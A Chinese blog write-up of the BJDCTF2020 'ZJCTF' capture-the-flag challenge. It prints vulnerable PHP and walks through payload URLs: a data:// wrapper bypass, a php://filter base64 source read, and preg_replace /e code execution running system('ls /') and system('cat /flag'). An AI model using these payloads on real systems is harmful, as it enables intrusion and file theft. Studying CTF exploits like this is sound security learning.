[BJDCTF2020]ZJCTF,不过如此 1

本文详细分析了一段PHP代码,该代码涉及GET参数text和file的检查,当text为'Ihaveadream'时触发文件包含。通过base64编码绕过限制,成功读取next.php内容,并利用preg_replace()函数的/e标志实现代码执行,最终获取到flag。整个过程展示了如何利用代码漏洞进行安全测试。
摘要由CSDN通过智能技术生成

代码分析

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

在该PHP中接收textfile两个参数,其中只有当text的内容为I have a dream时,才执行if语句中的内容。

if语句中,首先读取并输出text中的内容,即I have a dream,随后判断参数file是否为flag,如果是,则输出Not Now!,并终止程序,如果不是,则执行include文件读取漏洞

操作实践

很明显代码中对text的内容和file的值进行了约束,首先我们需要对将I have a dream写入text中,在这里我们使用代码

?text = data://text/plain,I have a dream

然后考虑对file进行赋值,在代码代码中提示了next.php这个文件,我们很自然的想到了对next.php进行读取操作

首次尝试payload:

http://e193796b-be3f-4a1c-8f41-31ba222850de.node4.buuoj.cn:81?text=data://text/plain,I have a dream&file=next.php

回显页面为:
在这里插入图片描述

next.php内容没有显示,此时想到使用base-64编码再次尝试:

http://e193796b-be3f-4a1c-8f41-31ba222850de.node4.buuoj.cn:81?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

得到回显页面:

在这里插入图片描述

其中一长串就是next.php中的内容,解码得:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

在该代码中涉及另一个参数id,且还有preg_replace() /e代码执行漏洞(一开始我也毫无头绪,由于之前没接触过preg_replace函数,顺手搜了一下,就发现这是个代码执行漏洞,详情可参考:preg_replace() /e代码执行漏洞),在这里我们利用该漏洞直接上传\s*参数,因为上传其他的参数会被解析过滤,而\s是表示匹配非空格以外的所有字符,所以构造payload

http://e193796b-be3f-4a1c-8f41-31ba222850de.node4.buuoj.cn:81/next.php?\S*=${getFlag()}&cmd=system('ls /');

得到主目录的文件列表:

在这里插入图片描述

然后获取flag文件内容:

http://e193796b-be3f-4a1c-8f41-31ba222850de.node4.buuoj.cn:81/next.php?\S*=${getFlag()}&cmd=system('cat /flag');

得到flag:

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

丙戌年1101

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值